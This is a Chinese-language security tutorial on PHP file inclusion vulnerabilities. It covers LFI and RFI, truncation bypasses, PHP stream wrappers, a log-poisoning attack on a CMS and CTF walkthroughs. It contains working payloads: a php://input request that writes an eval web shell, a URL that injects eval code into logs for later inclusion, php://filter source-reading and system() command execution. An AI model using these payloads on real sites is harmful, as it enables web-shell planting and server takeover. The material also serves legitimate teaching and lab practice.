文件包含漏洞
0x00 文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
0x01 文件包含漏洞的成因
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能。
在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
0x02 文件包含漏洞的分类
本地文件包含LFI(local file include):当被包含的文件在服务器本地时,就形成本地文件包含
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8000/include.php?filename=../../../www.txt
无限制:
<?php
$filename = $_GET['filename'];
include($filename);
?>
没有限制文件类型
有限制:
<?php
$filename = $_GET['filename'];
include($filename.".html");
?>
这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。
绕过方式
%00截断
条件:
- php版本< 5.3.4 ;
- php的magic_quotes_gpc为OFF状态
长度截断
Windows以及Linux系统文件、文件夹命名规则 - Mrnx - 博客园 (cnblogs.com)
条件:
- windows点号长度大于256;
- linux大于4096(文件路径长度)
http://127.0.0.1/include.php?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
http://127.0.0.1/include.php?filename=phpinfo.php…
特殊符号截断
%23
%20
?截断
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt?
远程文件包含RFI(remote file include):当被包含的文件在第三方服务器时,叫做远程文件包含。
这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt?
PHP伪协议
事实就是支持的协议和封装的协议12种
file:// - 访问本地文件系统
http:// - 访问http网站
ftp:// - 访问FTP(s)URLS
php:// - 访问各个输入输出流
zlib:// - 压缩流
data:// - 数据(RFC 2397)
glob:// -查找匹配的文件路径模型
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// - 音频流
expect:// - 处理交互式的流
php.ini参数设置
在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
更多详细的内容,参见php伪协议
常见函数
PHP
-
include()
-
当使用include()函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
-
include_once()
-
include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回
true
。 -
include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。
-
require()
-
当使用require()函数包含文件时,只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。
-
require_once()
-
require_once表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
文件包含各脚本代码 asp,php,jsp,aspx等
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
演示案例:
本地文件包含代码测试-原理
远程文件包含代码测试-原理
各种协议流提交流测试-协议
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
写入一句话木马用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
file://
用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
用法:
[http:``//网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
http://、https://
URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
用法:
[http:``//网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://filter
读取文件源码用法
php:``//filter/read=convert.base64-encode/resource=[文件名]
http:``//127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
某 CMS 程序文件包含利用-黑盒
cms下载地址:
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw 提取码:xiao
安装成功后
本地包含一句话木马
http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}
会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日
进行包含错误日志,地址:
http://127.0.0.1/ekucms/s=my/show/id/\..\temp\Logs\22_03_18.log
蚁剑连接
CTF-南邮大,i 春秋百度杯真题-白盒
php://filter/read=convert.base64-encode/resource=index.php
base64decode后获得
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
http://eci-2ze9jhti3uz65oa1lq15.cloudeci1.ichunqiu.com/?path=php://in
put
Post:<?php system('ls');?>
http://eci-2ze9jhti3uz65oa1lq15.cloudeci1.ichunqiu.com/?path=php://fil
ter/read=convert.base64-encode/resource=dle345aae.php
涉及资源:
http://4.chinalover.sinaapp.com/web7/index.php
https://www.cnblogs.com/endust/p/11804767.html
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw 提取码:xiao
<?php
$filename=$_GET['filename'];
include($filename);
/*
$filename=$_GET['filename'];
include($filename.".html");
*/
?>